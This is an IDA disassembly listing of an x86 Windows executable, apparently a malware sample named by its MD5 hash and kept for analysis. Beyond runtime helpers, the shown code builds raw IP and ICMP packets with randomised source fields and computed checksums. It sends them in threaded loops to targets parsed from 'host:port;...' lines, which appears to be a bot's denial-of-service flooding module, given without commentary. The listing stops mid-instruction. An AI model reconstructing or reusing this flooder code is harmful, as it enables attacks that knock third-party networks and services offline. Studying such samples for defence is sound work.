; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 25887EB1DB9A0A1F880BFF4FF21CEC79 ; --------------------------------------------------------------------------- ; File Name : u:\work\25887eb1db9a0a1f880bff4ff21cec79_orig.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000167FA ( 92154.) ; Section size in file : 00016800 ( 92160.) ; Offset to raw data for section: 00000400 ; Flags 60000020: Text Executable Readable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing cmp cl, 40h jnb short loc_40101A cmp cl, 20h jnb short loc_401010 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_401010: ; CODE XREF: .text:00401008 j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_40101A: ; CODE XREF: .text:00401003 j xor eax, eax xor edx, edx retn ; --------------------------------------------------------------------------- align 10h cmp cl, 40h jnb short loc_40103B cmp cl, 20h jnb short loc_401030 shrd eax, edx, cl sar edx, cl retn ; --------------------------------------------------------------------------- loc_401030: ; CODE XREF: .text:00401028 j mov eax, edx sar edx, 1Fh and cl, 1Fh sar eax, cl retn ; --------------------------------------------------------------------------- loc_40103B: ; CODE XREF: .text:00401023 j sar edx, 1Fh mov eax, edx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401050 proc near ; CODE XREF: sub_401050+29 p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_401072 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4010B3 ; --------------------------------------------------------------------------- loc_401072: ; CODE XREF: loc_401072+8 j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_401080: ; CODE XREF: loc_401080+3A j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_401080 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4010AE cmp edx, [esp+8+arg_4] ja short loc_4010AE jb short loc_4010AF cmp eax, [esp+8+arg_0] jbe short loc_4010AF loc_4010AE: ; CODE XREF: loc_4010AE+4E j ; sub_401050+54 j dec esi loc_4010AF: ; CODE XREF: loc_4010AF+56 j ; sub_401050+5C j xor edx, edx mov eax, esi loc_4010B3: ; CODE XREF: loc_4010B3+20 j pop esi pop ebx retn 10h sub_401050 endp ; --------------------------------------------------------------------------- align 10h push edi push esi push ebx xor edi, edi mov eax, [esp+14h] or eax, eax jge short loc_4010E1 inc edi mov edx, [esp+10h] neg eax neg edx sbb eax, 0 mov [esp+14h], eax mov [esp+10h], edx loc_4010E1: ; CODE XREF: .text:004010CB j mov eax, [esp+1Ch] or eax, eax jge short loc_4010FD inc edi mov edx, [esp+18h] neg eax neg edx sbb eax, 0 mov [esp+1Ch], eax mov [esp+18h], edx loc_4010FD: ; CODE XREF: .text:004010E7 j or eax, eax jnz short loc_401119 mov ecx, [esp+18h] mov eax, [esp+14h] xor edx, edx div ecx mov ebx, eax mov eax, [esp+10h] div ecx mov edx, ebx jmp short loc_40115A ; --------------------------------------------------------------------------- loc_401119: ; CODE XREF: .text:004010FF j mov ebx, eax mov ecx, [esp+18h] mov edx, [esp+14h] mov eax, [esp+10h] loc_401127: ; CODE XREF: .text:00401131 j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_401127 div ecx mov esi, eax mul dword ptr [esp+1Ch] mov ecx, eax mov eax, [esp+18h] mul esi add edx, ecx jb short loc_401155 cmp edx, [esp+14h] ja short loc_401155 jb short loc_401156 cmp eax, [esp+10h] jbe short loc_401156 loc_401155: ; CODE XREF: .text:00401145 j ; .text:0040114B j dec esi loc_401156: ; CODE XREF: .text:0040114D j ; .text:00401153 j xor edx, edx mov eax, esi loc_40115A: ; CODE XREF: .text:00401117 j dec edi jnz short loc_401164 neg edx neg eax sbb edx, 0 loc_401164: ; CODE XREF: .text:0040115B j pop ebx pop esi pop edi retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401170 proc near ; CODE XREF: sub_401170+F p ; sub_40CFE7+20 p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_401189 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_401189: ; CODE XREF: loc_401189+E j push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_401170 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4011B0 proc near ; CODE XREF: sub_4011B0+8 p ; sub_4080EA+8 p ... arg_0 = byte ptr 4 cmp eax, 1000h jnb short loc_4011C5 neg eax add eax, esp add eax, 4 test [eax], eax xchg eax, esp mov eax, [eax] push eax retn ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: loc_4011C5+5 j push ecx lea ecx, [esp+4+arg_0] loc_4011CA: ; CODE XREF: loc_4011CA+2C j sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_4011CA sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_4011B0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4011ED proc near ; CODE XREF: sub_4011ED+1B p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call ds:dword_4181E8 mov [esi+2], ax pop esi retn 4 sub_4011ED endp ; =============== S U B R O U T I N E ======================================= sub_401202 proc near ; CODE XREF: sub_401202+D p mov eax, ecx retn sub_401202 endp ; =============== S U B R O U T I N E ======================================= sub_401205 proc near ; CODE XREF: sub_401205+E j ; sub_40444C+6E p ... push esi mov esi, ecx mov ecx, [esi] test ecx, ecx jz short loc_401217 mov eax, [ecx] push 1 call dword ptr [eax] and dword ptr [esi], 0 loc_401217: ; CODE XREF: loc_401217+7 j pop esi retn sub_401205 endp ; =============== S U B R O U T I N E ======================================= sub_401219 proc near ; CODE XREF: sub_401219+12 p ; sub_405E95+29 p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] mov esi, ecx mov word ptr [esi], 2 call ds:dword_4181EC push [esp+4+arg_4] mov ecx, esi mov [esi+4], eax call sub_4011ED mov eax, esi pop esi retn 8 sub_401219 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40123F proc near ; CODE XREF: sub_40123F+2A p ; sub_4067A5+1B p ... var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push esi push [ebp+arg_4] mov esi, ecx push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_401219 push [ebp+arg_8] lea eax, [ebp+var_10] push eax mov ecx, esi call sub_40DFF7 pop esi leave retn 0Ch sub_40123F endp ; =============== S U B R O U T I N E ======================================= sub_401269 proc near ; CODE XREF: sub_401269+D p ; sub_404AAE+6 j arg_0 = dword ptr 4 arg_4 = word ptr 8 arg_8 = dword ptr 0Ch push esi push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_401281 mov ecx, eax call sub_40DD7C mov esi, eax jmp short loc_401283 ; --------------------------------------------------------------------------- loc_401281: ; CODE XREF: loc_401281+B j xor esi, esi loc_401283: ; CODE XREF: loc_401283+16 j push [esp+4+arg_8] movzx eax, [esp+8+arg_4] push eax push [esp+0Ch+arg_0] mov ecx, esi call sub_40123F cmp eax, 1 jnz short loc_4012A1 mov eax, esi jmp short loc_4012AF ; --------------------------------------------------------------------------- loc_4012A1: ; CODE XREF: loc_4012A1+32 j test esi, esi jz short loc_4012AD mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax] loc_4012AD: ; CODE XREF: loc_4012AD+3A j xor eax, eax loc_4012AF: ; CODE XREF: loc_4012AF+36 j pop esi retn 0Ch sub_401269 endp ; =============== S U B R O U T I N E ======================================= sub_4012B3 proc near ; CODE XREF: sub_4012B3+29F p ; sub_405675+106 p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_401269 mov esi, eax test esi, esi jz short loc_4012E1 push 10h call sub_40D0BB test eax, eax pop ecx jz short loc_4012E1 push esi mov ecx, eax call sub_40D341 jmp short loc_4012E3 ; --------------------------------------------------------------------------- loc_4012E1: ; CODE XREF: loc_4012E1+16 j ; sub_4012B3+22 j xor eax, eax loc_4012E3: ; CODE XREF: loc_4012E3+2C j pop esi retn 0Ch sub_4012B3 endp ; =============== S U B R O U T I N E ======================================= sub_4012E7 proc near ; CODE XREF: sub_4012E7+13 p ; sub_4070A6+19 p ... arg_0 = dword ptr 4 xor eax, eax cmp [esp+arg_0], eax jz short locret_4012F9 push eax push [esp+4+arg_0] call sub_40DB5E locret_4012F9: ; CODE XREF: locret_4012F9+6 j retn 4 sub_4012E7 endp ; =============== S U B R O U T I N E ======================================= sub_4012FC proc near ; CODE XREF: sub_4012FC+7 p ; sub_401A43+11 p ... arg_0 = dword ptr 4 push esi xor eax, eax push eax push eax push [esp+0Ch+arg_0] mov esi, ecx push eax call CreateEventA mov [esi], eax mov eax, esi pop esi retn 4 sub_4012FC endp ; =============== S U B R O U T I N E ======================================= sub_401316 proc near ; CODE XREF: sub_401316+1F4 p arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] push dword ptr [ecx] call WaitForSingleObjectEx neg eax sbb eax, eax inc eax retn 4 sub_401316 endp ; =============== S U B R O U T I N E ======================================= sub_40132C proc near ; CODE XREF: sub_40132C+9C p arg_0 = dword ptr 4 push esi mov esi, ecx push dword ptr [esi+4] call SetEvent push [esp+4+arg_0] lea ecx, [esi+28h] call sub_4012E7 push dword ptr [esi+4] call ResetEvent pop esi retn 4 sub_40132C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401351 proc near ; CODE XREF: sub_401351+30 p var_5F4 = byte ptr -5F4h var_5EC = dword ptr -5ECh var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 5F4h push ebx push esi push edi xor esi, esi push esi push esi push esi push esi push 2 push 2 call WSASocketA push esi push esi mov ebx, eax lea eax, [ebp+var_4] push eax push 5F0h lea eax, [ebp+var_5F4] push eax push esi push esi push 4004747Fh push ebx call WSAIoctl mov eax, [ebp+var_4] push 4Ch xor edx, edx pop ecx div ecx cmp eax, esi jle short loc_4013BB lea ecx, [ebp+var_5F4] loc_4013A3: ; CODE XREF: loc_4013A3+68 j mov edi, [ecx] mov edx, edi shr edx, 2 not edx and edx, edi test dl, 1 jnz short loc_4013C2 inc esi add ecx, 4Ch cmp esi, eax jl short loc_4013A3 loc_4013BB: ; CODE XREF: loc_4013BB+4A j xor eax, eax loc_4013BD: ; CODE XREF: loc_4013BD+82 j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4013C2: ; CODE XREF: loc_4013C2+60 j push ebx call ds:dword_4181E4 imul esi, 4Ch mov eax, [ebp+esi+var_5EC] jmp short loc_4013BD sub_401351 endp ; =============== S U B R O U T I N E ======================================= sub_4013D5 proc near ; CODE XREF: sub_4013D5+18 p ; sub_4017C3+29 p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] xor eax, eax cmp byte ptr [esi], 3Ah push edi jz short loc_4013EF loc_4013E2: ; CODE XREF: loc_4013E2+18 j cmp byte ptr [eax+esi], 0 jz short loc_4013EF inc eax cmp byte ptr [eax+esi], 3Ah jnz short loc_4013E2 loc_4013EF: ; CODE XREF: loc_4013EF+B j ; sub_4013D5+11 j lea edi, [eax+esi] inc eax push eax mov byte ptr [edi], 0 call sub_40CA18 pop ecx mov ecx, [esp+8+arg_4] push esi push eax mov [ecx], eax call lstrcpyA inc edi push edi call sub_40CE59 pop ecx mov ecx, [esp+8+arg_8] pop edi mov [ecx], eax xor eax, eax pop esi retn 0Ch sub_4013D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401420 proc near ; CODE XREF: sub_401420+2C p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi xor edi, edi cmp byte ptr [esi], 3Bh jz short loc_401440 loc_40142F: ; CODE XREF: loc_40142F+1A j cmp byte ptr [edi+esi], 0 jz short loc_40143C inc edi cmp byte ptr [edi+esi], 3Bh jnz short loc_40142F loc_40143C: ; CODE XREF: loc_40143C+13 j test edi, edi jnz short loc_401447 loc_401440: ; CODE XREF: loc_401440+D j xor eax, eax jmp loc_401504 ; --------------------------------------------------------------------------- loc_401447: ; CODE XREF: loc_401447+1E j push ebx push 10h mov byte ptr [edi+esi], 0 call sub_40CA18 inc edi push edi mov ebx, eax call sub_40CA18 pop ecx pop ecx push esi push eax mov [ebx], eax call lstrcpyA lea eax, [edi+esi] mov [ebp+arg_0], eax jmp short loc_401479 ; --------------------------------------------------------------------------- loc_401470: ; CODE XREF: loc_401470+5C j cmp byte ptr [eax], 0 jz short loc_40147E inc edi lea eax, [edi+esi] loc_401479: ; CODE XREF: loc_401479+4E j cmp byte ptr [eax], 3Bh jnz short loc_401470 loc_40147E: ; CODE XREF: loc_40147E+53 j mov eax, edi sub eax, [ebp+arg_0] mov byte ptr [edi+esi], 0 lea eax, [eax+esi+1] push eax call sub_40CA18 pop ecx push [ebp+arg_0] mov [ebx+4], eax push eax call lstrcpyA inc edi lea ecx, [edi+esi] mov al, [ecx] jmp short loc_4014AF ; --------------------------------------------------------------------------- loc_4014A7: ; CODE XREF: loc_4014A7+91 j test al, al jz short loc_4014B3 inc edi mov al, [edi+esi] loc_4014AF: ; CODE XREF: loc_4014AF+85 j cmp al, 3Bh jnz short loc_4014A7 loc_4014B3: ; CODE XREF: loc_4014B3+89 j push ecx call sub_40CE59 test eax, eax pop ecx mov [ebx+8], eax jnz short loc_4014DD push dword ptr [ebx] call sub_40CCC5 push dword ptr [ebx+4] call sub_40CCC5 push ebx call sub_40CCC5 add esp, 0Ch xor eax, eax jmp short loc_401503 ; --------------------------------------------------------------------------- loc_4014DD: ; CODE XREF: loc_4014DD+9F j inc edi lea eax, [edi+esi] mov ecx, eax jmp short loc_4014EE ; --------------------------------------------------------------------------- loc_4014E5: ; CODE XREF: loc_4014E5+D1 j cmp byte ptr [eax], 0 jz short loc_4014F3 inc edi lea eax, [edi+esi] loc_4014EE: ; CODE XREF: loc_4014EE+C3 j cmp byte ptr [eax], 3Bh jnz short loc_4014E5 loc_4014F3: ; CODE XREF: loc_4014F3+C8 j push ecx mov byte ptr [edi+esi], 0 call sub_40CE59 mov [ebx+0Ch], eax pop ecx mov eax, ebx loc_401503: ; CODE XREF: loc_401503+BB j pop ebx loc_401504: ; CODE XREF: loc_401504+22 j pop edi pop esi pop ebp retn 4 sub_401420 endp ; =============== S U B R O U T I N E ======================================= sub_40150A proc near ; CODE XREF: sub_40150A+FB p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] push edi xor edi, edi test eax, eax jnz short loc_40151C loc_401518: ; CODE XREF: loc_401518+1B j xor eax, eax jmp short loc_40153E ; --------------------------------------------------------------------------- loc_40151C: ; CODE XREF: loc_40151C+C j cmp byte ptr [eax], 0Ah jz short loc_401530 loc_401521: ; CODE XREF: loc_401521+24 j cmp byte ptr [eax+edi], 0 jz short loc_401518 inc edi mov edx, eax cmp byte ptr [edi+edx], 0Ah jnz short loc_401521 loc_401530: ; CODE XREF: loc_401530+15 j mov byte ptr [eax+edi], 0 push dword ptr [esi] call sub_401420 inc edi add [esi], edi loc_40153E: ; CODE XREF: loc_40153E+10 j pop edi pop esi retn 4 sub_40150A endp ; =============== S U B R O U T I N E ======================================= sub_401543 proc near ; CODE XREF: sub_401543+49 p ; sub_401621+65 p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi xor esi, esi cmp ecx, 1 jle short loc_40156E lea eax, [ecx-2] shr eax, 1 inc eax mov edx, eax neg edx lea ecx, [ecx+edx*2] mov edx, [esp+4+arg_0] push edi loc_401561: ; CODE XREF: loc_401561+26 j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec eax jnz short loc_401561 pop edi jmp short loc_401572 ; --------------------------------------------------------------------------- loc_40156E: ; CODE XREF: loc_40156E+A j mov edx, [esp+4+arg_0] loc_401572: ; CODE XREF: loc_401572+29 j test ecx, ecx jz short loc_40157B movzx eax, byte ptr [edx] add esi, eax loc_40157B: ; CODE XREF: loc_40157B+31 j movzx eax, si mov ecx, esi shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax pop esi retn 8 sub_401543 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401592 proc near ; CODE XREF: sub_401592+7D p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi push 28h mov [ebp+var_4], ecx call sub_40CA18 mov esi, [ebp+arg_0] pop ecx push 7 pop ecx push [ebp+arg_4] mov ebx, eax add esi, 14h lea edi, [ebx+0Ch] rep movsd call ds:dword_4181E8 mov [ebx+0Ah], ax mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] mov [ebx], ecx mov ecx, [eax+10h] mov [ebx+4], ecx mov al, [eax+9] mov ecx, [ebp+var_4] push 28h push ebx mov [ebx+9], al call sub_401543 push ebx movzx esi, ax call sub_40CCC5 pop ecx pop edi mov eax, esi pop esi pop ebx leave retn 8 sub_401592 endp ; =============== S U B R O U T I N E ======================================= sub_4015F3 proc near ; CODE XREF: sub_4015F3+C p ; sub_404FB3+15 p push esi push edi mov esi, ecx push dword ptr [esi] call SetEvent lea ecx, [esi+18h] call sub_40B150 lea ecx, [esi+28h] call sub_40DB59 push dword ptr [esi+4] mov edi, ds:dword_4180A4 ; df--HS call CloseHandle push dword ptr [esi] ; df--HS call CloseHandle pop edi pop esi retn sub_4015F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401621 proc near ; CODE XREF: sub_401621+12B p var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 push ebx mov ebx, ecx jnz short loc_401637 xor eax, eax jmp loc_4016BE ; --------------------------------------------------------------------------- loc_401637: ; CODE XREF: loc_401637+D j mov eax, [ebp+arg_C] push esi push [ebp+arg_8] mov esi, ds:dword_4181E8 mov [ebp+var_C], eax mov dword_421018, eax mov eax, [ebp+arg_4] mov [ebp+var_10], 2 mov dword_421014, eax call esi push [ebp+arg_10] mov word_42101C, ax call esi and word_421012, 0 push 14h mov esi, offset dword_421008 push esi mov ecx, ebx mov word_42101E, ax mov byte_421029, 2 call sub_401543 and word_42102C, 0 push 1Ch push esi mov ecx, ebx mov word_421012, ax call sub_401592 push 10h mov word_42102C, ax lea eax, [ebp+var_10] push eax push 0 push 30h push esi push [ebp+arg_0] call ds:dword_4181D8 pop esi loc_4016BE: ; CODE XREF: loc_4016BE+11 j pop ebx leave retn 14h sub_401621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016C3 proc near ; CODE XREF: sub_4016C3+115 p var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_0], 0 push ebx mov ebx, ecx jnz short loc_4016D6 xor eax, eax jmp short loc_401746 ; --------------------------------------------------------------------------- loc_4016D6: ; CODE XREF: loc_4016D6+D j mov ecx, [ebp+arg_4] mov eax, [ebp+arg_C] and word_421042, 0 push esi push 14h mov dword_421044, ecx mov esi, offset dword_421038 push esi mov ecx, ebx mov [ebp+var_10], 2 mov [ebp+var_C], eax mov dword_421048, eax mov byte_42104C, 8 call sub_401543 and word_42104E, 0 push 28h push offset byte_42104C mov ecx, ebx mov word_421042, ax call sub_401543 push 10h mov word_42104E, ax lea eax, [ebp+var_10] push eax push 0 push 3Ch push esi push [ebp+arg_0] call ds:dword_4181D8 pop esi loc_401746: ; CODE XREF: loc_401746+11 j pop ebx leave retn 14h sub_4016C3 endp ; =============== S U B R O U T I N E ======================================= sub_40174B proc near ; CODE XREF: sub_40174B+52 p ; sub_401FB8+1B p ... arg_0 = dword ptr 4 push esi push edi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [esp+8+arg_0] mov [eax+4], ecx xor ecx, ecx lea edi, [esi+4] push edi push ecx push eax push offset sub_4151FE push ecx push ecx mov [eax], esi call CreateThread mov [esi], eax mov eax, [edi] pop edi pop esi retn 4 sub_40174B endp ; =============== S U B R O U T I N E ======================================= sub_40177E proc near ; CODE XREF: sub_40177E+BB p ; sub_416254+7F p ... arg_0 = dword ptr 4 push esi push edi push 8 mov esi, ecx call sub_40D0BB pop ecx mov ecx, [esp+8+arg_0] lea edi, [esi+4] push edi push 4 push eax push offset sub_4151FE push 0 push 0 mov [eax], esi mov [eax+4], ecx call CreateThread push 0FFFFFFF1h push eax mov [esi], eax call SetThreadPriority push dword ptr [esi] call ResumeThread mov eax, [edi] pop edi pop esi retn 4 sub_40177E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017C3 proc near ; DATA XREF: sub_4017C3+35 o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax push dword ptr [esi+4] mov edi, ecx call sub_4013D5 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] push eax push dword ptr [esi] mov ecx, edi call sub_4013D5 mov ecx, edi call sub_401351 push [ebp+var_8] mov [ebp+var_10], eax call ds:dword_4181CC push [ebp+var_4] mov [ebp+arg_0], eax mov eax, [esi+8] mov [ebp+var_20], eax call sub_40CCC5 push [ebp+var_8] call sub_40CCC5 push dword ptr [esi] call sub_40CCC5 push dword ptr [esi+4] call sub_40CCC5 push esi call sub_40CCC5 add esp, 14h push 0FFh push 3 push 2 call ds:dword_4181D0 cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jz loc_401912 lea ecx, [ebp+var_18] push 4 mov [ebp+var_1C], ecx lea ecx, [ebp+var_1C] push ecx push 2 xor esi, esi push 0 inc esi push eax mov [ebp+var_18], esi call ds:dword_4181D4 test eax, eax jnz loc_401912 cmp [ebp+arg_0], eax jz loc_401912 mov eax, [ebp+var_10] push ebx mov ebx, [ebp+var_C] push esi mov esi, ds:dword_4180B0 mov [ebp+var_4], eax jmp short loc_4018FD ; --------------------------------------------------------------------------- loc_401891: ; CODE XREF: loc_401891+143 j push 1 push 0 push dword ptr [edi] call WaitForSingleObjectEx ; df--HS test eax, eax jz short loc_401908 cmp [ebp+var_C], 0 jnz short loc_4018B1 call GetTickCount mov ebx, eax and ebx, 0FFFFh loc_4018B1: ; CODE XREF: loc_4018B1+DE j cmp [ebp+var_10], 0 jnz short loc_4018C0 call GetTickCount mov [ebp+var_4], eax loc_4018C0: ; CODE XREF: loc_4018C0+F2 j mov eax, [ebp+var_20] dec eax jz short loc_4018DF dec eax jnz short loc_4018F3 push [ebp+var_14] mov ecx, edi push [ebp+arg_0] push ebx push [ebp+var_4] push [ebp+var_8] call sub_4016C3 jmp short loc_4018F3 ; --------------------------------------------------------------------------- loc_4018DF: ; CODE XREF: loc_4018DF+101 j push [ebp+var_14] mov ecx, edi push [ebp+arg_0] push ebx push [ebp+var_4] push [ebp+var_8] call sub_401621 loc_4018F3: ; CODE XREF: loc_4018F3+104 j ; sub_4017C3+11A j push 0Ah call Sleep push 1 loc_4018FD: ; CODE XREF: loc_4018FD+CC j push 0 push dword ptr [edi+4] call WaitForSingleObjectEx ; df--HS test eax, eax jnz short loc_401891 loc_401908: ; CODE XREF: loc_401908+D8 j push [ebp+var_8] call ds:dword_4181E4 pop ebx loc_401912: ; CODE XREF: loc_401912+87 j ; sub_4017C3+AC j ... pop edi pop esi leave retn 4 sub_4017C3 endp ; =============== S U B R O U T I N E ======================================= sub_401918 proc near ; DATA XREF: sub_401918+45 o var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx push ebx push ebp push esi push edi mov ebx, ecx loc_401920: ; CODE XREF: loc_401920+11C j mov edi, ds:dword_4180B0 push 1 push 0 push dword ptr [ebx] call WaitForSingleObjectEx ; df--HS test eax, eax jz loc_401A3A push 1 push 64h push dword ptr [ebx+4] call WaitForSingleObjectEx ; df--HS test eax, eax jz loc_401A2A mov eax, [ebx+28h] test eax, eax jz loc_401A2A mov [esp+18h+var_4], eax jmp loc_401A0C ; --------------------------------------------------------------------------- loc_40195B: ; CODE XREF: loc_40195B+104 j push 1 push 0 push dword ptr [ebx] call WaitForSingleObjectEx ; df--HS test eax, eax jz loc_401A22 and [esp+18h+var_8], 0 cmp dword ptr [esi+0Ch], 0 jle short loc_4019F4 loc_401976: ; CODE XREF: loc_401976+DA j push 1 push 0 push dword ptr [ebx] call WaitForSingleObjectEx ; df--HS test eax, eax jz short loc_4019F4 push 10h call sub_40CA18 push dword ptr [esi+4] mov edi, eax call sub_40CD83 inc eax push eax call sub_40CA18 mov [edi+4], eax push dword ptr [esi+4] push eax call sub_40CD8E push dword ptr [esi] call sub_40CD83 inc eax push eax call sub_40CA18 mov [edi], eax push dword ptr [esi] push eax call sub_40CD8E mov eax, [esi+0Ch] add esp, 24h mov [edi+0Ch], eax mov eax, [esi+8] lea ebp, [ebx+8] push edi mov ecx, ebp mov [edi+8], eax call sub_40177E push dword ptr [ebp+0] call CloseHandle inc [esp+18h+var_8] mov eax, [esp+18h+var_8] cmp eax, [esi+0Ch] mov edi, ds:dword_4180B0 jl short loc_401976 loc_4019F4: ; CODE XREF: loc_4019F4+5C j ; sub_401918+68 j push dword ptr [esi+4] call sub_40CCC5 push dword ptr [esi] call sub_40CCC5 push esi call sub_40CCC5 add esp, 0Ch loc_401A0C: ; CODE XREF: loc_401A0C+3E j lea eax, [esp+18h+var_4] push eax mov ecx, ebx call sub_40150A mov esi, eax test esi, esi jnz loc_40195B loc_401A22: ; CODE XREF: loc_401A22+4D j lea ecx, [ebx+28h] call sub_40DB00 loc_401A2A: ; CODE XREF: loc_401A2A+29 j ; sub_401918+34 j push 1 push 64h push dword ptr [ebx] call WaitForSingleObjectEx ; df--HS test eax, eax jnz loc_401920 loc_401A3A: ; CODE XREF: loc_401A3A+18 j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn 4 sub_401918 endp ; =============== S U B R O U T I N E ======================================= sub_401A43 proc near ; CODE XREF: sub_401A43+86 p push ebx push esi push edi push 1 mov esi, ecx call sub_4012FC push 1 lea ecx, [esi+4] call sub_4012FC xor ebx, ebx mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+0Ch], ebx lea edi, [esi+18h] lea ecx, [esi+28h] mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi+4], ebx call sub_40DB48 mov dword ptr [esi+14h], offset sub_4017C3 mov [esi+10h], esi mov [esi+0Ch], ebx push ebx mov ecx, edi mov dword ptr [edi+0Ch], offset sub_401918 mov [edi+8], esi mov [edi+4], ebx call sub_40174B pop edi mov eax, esi pop esi pop ebx retn sub_401A43 endp ; =============== S U B R O U T I N E ======================================= sub_401AA0 proc near ; CODE XREF: sub_401AA0+22A p ; sub_402FCB+32 p ... arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_40CD83 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40DBA2 pop esi retn 4 sub_401AA0 endp ; =============== S U B R O U T I N E ======================================= sub_401ABD proc near ; CODE XREF: sub_401ABD+28 p ; sub_409588+30 p ... arg_0 = dword ptr 4 push [esp+arg_0] push dword ptr [ecx] call sub_40CD44 neg eax pop ecx sbb eax, eax pop ecx inc eax retn 4 sub_401ABD endp ; =============== S U B R O U T I N E ======================================= sub_401AD2 proc near ; CODE XREF: sub_401AD2+16 p push esi mov esi, 